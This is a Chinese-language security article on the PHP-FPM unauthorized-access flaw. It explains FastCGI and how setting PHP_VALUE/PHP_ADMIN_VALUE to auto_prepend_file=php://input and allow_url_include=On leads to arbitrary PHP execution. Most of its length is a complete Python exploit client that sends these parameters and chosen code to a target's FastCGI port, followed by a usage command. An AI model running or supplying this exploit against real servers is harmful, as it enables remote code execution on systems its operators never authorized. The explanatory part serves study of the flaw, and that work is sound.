Fastcgi
Fastcgi是一个通信协议，和HTTP协议一样，都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议，浏览器将HTTP头和HTTP体用某个规则组装成数据包，以TCP的方式发送到服务器中间件，服务器中间件按照规则将数据包解码，并按要求拿到用户需要的数据，再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说，fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。
PHP-FPM
PHP-FPM是一个fastcgi协议解析器，Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口，如果这个端口暴露在公网，则我们可以自己构造fastcgi协议，和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&b=2，如果web目录是/var/www/html，那么Nginx会将这个请求变成如下key-value对：
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
这个数组其实就是PHP中$_SERVER数组的一部分，也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组，也是告诉fpm：“我要执行哪个PHP文件”。
PHP-FPM拿到fastcgi的数据包后，进行解析，得到上述这些环境变量。然后，执行SCRIPT_FILENAME的值指向的PHP文件，也就是/var/www/html/index.php
security.limit_extensions配置
此时，SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的，如果这个文件不存在，fpm会直接返回404。在fpm某个版本之前，我们可以将SCRIPT_FILENAME的值指定为任意后缀文件，比如/etc/passwd。但后来，fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行，默认是.php。所以，当我们再传入/etc/passwd的时候，将会返回Access denied。由于这个配置项的限制，如果想利用PHP-FPM的未授权访问漏洞，首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件，比如/usr/local/lib/php/PEAR.php
任意代码执行
那么，为什么我们控制fastcgi协议通信的内容，就能执行任意PHP代码呢？
理论上当然是不可以的，即使我们能控制SCRIPT_FILENAME，让fpm执行任意文件，也只是执行目标服务器上的文件，并不能执行我们需要其执行的文件。
但PHP是一门强大的语言，PHP.INI中有两个有趣的配置项，auto_prepend_file和auto_append_file。
auto_prepend_file是告诉PHP，在执行目标文件之前，先包含auto_prepend_file中指定的文件；auto_append_file是告诉PHP，在执行完成目标文件后，包含auto_append_file指向的文件。
那么就有趣了，假设我们设置auto_prepend_file为php://input，那么就等于在执行任何php文件前都要包含一遍POST的内容。所以，我们只需要把待执行的代码放在Body中，他们就能被执行了。（当然，还需要开启远程文件包含选项allow_url_include）
那么，我们怎么设置auto_prepend_file的值？
这又涉及到PHP-FPM的两个环境变量，PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的，PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项，PHP_ADMIN_VALUE可以设置所有选项。（disable_functions除外，这个选项是PHP加载的时候就确定了，在范围内的函数直接不会被加载到PHP上下文中）
所以，我们最后传入如下环境变量
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
EXP代码
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
python fpm.py 192.168.122.1 /usr/local/lib/php/PEAR.php -c ""
参考：
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html
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